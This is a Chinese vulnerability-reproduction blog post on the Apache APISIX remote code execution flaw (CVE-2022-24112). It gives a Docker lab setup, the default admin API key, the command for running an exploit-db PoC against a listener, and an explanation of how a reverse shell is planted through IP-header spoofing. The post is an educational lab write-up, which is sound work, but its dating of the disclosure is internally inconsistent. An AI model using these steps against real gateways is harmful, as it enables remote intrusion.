【漏洞复现】Apache APISIX < 2.12.1 远程代码执行

admin 2022年3月18日00:09:15评论435 views字数 1781阅读5分56秒阅读模式

Apache APISIX是一个动态、实时、高性能的 API 网关。它提供流量管理功能,例如负载均衡、动态上行、身份验证、金丝雀发布等。

【漏洞复现】Apache APISIX < 2.12.1 远程代码执行

2021 年 6 月 16 日,Apache在 2.12.1 之前的 Apache APISIX 版本中正式发布了远程代码执行漏洞。攻击者可以滥用 APISIX 中的批处理请求插件来发送请求以绕过 IP 限制,从而绕过白名单和黑名单。如果它使用默认配置,则可以通过启用远程代码执行的批处理请求插件调用 Admin API。


环境搭建


操作系统:Ubuntu 20.04
使用docker来快速部署Apache APISIX
1、从git仓库获取项目
git clone https://github.com/apache/apisix-docker.git
2、切换到apisix-docker/examples目录
3、编辑docker-compose.yml文件,把services->apisix下面的image: apache/apisix:2.12.1-alpine下面的改成image: apache/apisix:2.12.0-alpine这个,因为我们需要安装2.12.1之前的版本。
【漏洞复现】Apache APISIX < 2.12.1 远程代码执行
4、使用docker-compose来安装和部署所需的 docker 容器了。
docker-compose -p docker-apisix up -d
完成后,我可以通过一个简单的方式访问 APIcurl
curl 'http://127.0.0.1:9080/apisix/admin/routes?api_key=edd1c9f034335f136f87ad84b625c8f1'

漏洞复现


POC参考地址
https://www.exploit-db.com/exploits/50829

接下来需要创建一个NC监听,并运行脚本进行攻击

python3 poc.py http://127.0.0.1:9080/ 172.18.0.1 9999

【漏洞复现】Apache APISIX < 2.12.1 远程代码执行


POC分析


从POC脚本出发,看到向API发出了两个请求查看json_data我们可以看到第一个请求只是植入了有效负载,第二个请求触发了它。

【漏洞复现】Apache APISIX < 2.12.1 远程代码执行


【漏洞复现】Apache APISIX < 2.12.1 远程代码执行

os.execute在这里,我们看到它使用典型的 bash 反向 shell 在脚本中执行命令。如上所述,此 RCE 漏洞的核心在于能够绕过 IP 限制和使用默认配置的 API。
【漏洞复现】Apache APISIX < 2.12.1 远程代码执行
通过使用X-Real-IP标头设置来绕过 IP 限制此处127.0.0.1提到了此类标头的列表。另一件事是它设置为默认的管理 API 令牌,即
X-API-KEY:edd1c9f034335f136f87ad84b625c8f1
运行漏洞利用后,如果我们使用 API 查看路由,我们会看到添加了一条新路由。

【漏洞复现】Apache APISIX < 2.12.1 远程代码执行

在这里我们可以看到我们的反向 shell 被种植在filter_func. 另外需要注意的是uri字段。其设置为/rms/fzxewh。这是在我们的json_data

【漏洞复现】Apache APISIX < 2.12.1 远程代码执行


在第二个请求中,向那个端点发出一个请求,触发我们的反向 shell。

【漏洞复现】Apache APISIX < 2.12.1 远程代码执行


※Final※


该漏洞为2021年历史漏洞,当然漏洞早已经被修复,此处学习漏洞环境的搭建与漏洞利用复现,一切只为学习,不得用于非法渗透攻击。升级到APISIX 2.12.1及以上版本即可修复漏洞。

参考链接


https://kavigihan.medium.com/apache-apisix-2-12-1-remote-code-execution-5f920b22ccff
https://nvd.nist.gov/vuln/detail/CVE-2022-24112



锋刃科技(江苏锋刃和安徽锋刃合称锋刃科技),科技型中小企业,国家级高新技术企业。专注于互联网、移动互联网安全领域的技术研究、产品研发、大数据分析与定制服务。拥有丰富的实战经验和创新能力。目前分为运营部、研发部、技术支持部。可为客户制定一体化的应用解决方案。目前已拥有系列自有品牌的网络安全产品。

锋刃科技全体人员遵循技术创新,保持原则的工作理念,不断跟进最新技术动态,追求卓越。力争为客户提供更优质的网络安全解决方案和技术服务。同时在网络安全知识技能培训方面打造公司的特色优势。我们坚持长期主义,精进打磨、创造价值、做一家与时俱进的未来企业。

联系我们:http://www.fengrentech.com/





原文始发于微信公众号(锋刃科技):【漏洞复现】Apache APISIX < 2.12.1 远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月18日00:09:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】Apache APISIX < 2.12.1 远程代码执行https://cn-sec.com/archives/832797.html

发表评论

匿名网友 填写信息